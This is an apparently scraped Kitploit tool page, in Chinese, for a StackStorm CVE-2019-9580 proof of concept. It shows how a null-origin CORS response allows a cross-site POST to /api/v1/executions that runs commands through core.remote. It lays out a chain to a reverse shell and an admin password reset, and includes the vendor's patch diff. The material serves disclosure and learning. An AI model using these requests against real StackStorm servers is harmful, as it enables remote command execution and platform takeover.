Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm:利用 CORS 配置错误(null origin)获取 RCE | Kitploit
工具/GitHubGitHub/mpgn/cve-2019-9580
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm:利用 CORS 配置错误(null origin)获取 RCE

查看仓库
3147年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-9580 - StackStorm 利用 CORS null 源实现 RCE(< 2.9.3 和 2.10.3)

在 2.10.3/2.9.3 之前,如果请求的来源未知,我们会返回 null。null 在某些客户端中可能导致来自未知来源的请求成功执行,从而允许针对 StackStorm API 的 XSS 式攻击的可能性。

发现者:Barak Tawily 和 Anna Tsibulskaya

Peek 13-03-2019 17-16 (使用 Firefox 的用户是受害者,使用 Chrome 的用户是攻击者)

概念验证

利用 null CORS

通过向 StackStorm API 发送带有 null Origin 请求头(Origin: null)的请求,服务器会以 Access-Control-Allow-Origin 响应 null。

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

服务器响应:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

利用 null CORS 的方法记录在 PortSwigger 的博客文章 中,我们可以找到以下 payload:

root@kitploit:~

那么 RCE 呢?

StackStorm 允许你配置 actions,其中一些如 core.remote 可以在你选择的主机上执行任意命令。

image

所以如果我们把主机设置为 127.0.0.1,就可以在 StackStorm 的 Docker 容器上执行命令。不错,由于只需发送一个简单的 POST 请求来注册一个 action,RCE 应该可行。

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

接下来呢?

我们确实可以在 StackStorm 主机上执行命令,但让我们进一步获得对 StackStorm 平台的完全控制。这可以通过重置管理员密码来实现。根据文档:

需要更改密码?运行:sudo htpasswd /etc/st2/htpasswd st2admin。 https://docs.stackstorm.com/authentication.html

太好了,让我们把所有这些整合在一起:

  1. 向受害者发送一个包含恶意 payload 的链接,该 payload 会在主机 127.0.0.1 上注册一个新的 action 以执行任意命令
  2. 受害者点击该链接并查看小马
  3. 由于当请求带有 Origin: null 头时 CORS 为 null,注册新 action 的 POST 请求可以正常工作(我们还设置了参数 credentials: "include")
  4. action 被触发,命令得以执行(反弹 shell)
  5. 攻击者重置管理员密码,并获得对 StackStorm 平台的完全控制
  6. 攻击者可以破坏所有已注册到 StackStorm 的其他主机

capture d'écran_1

安全公告:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

资源:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
下载工具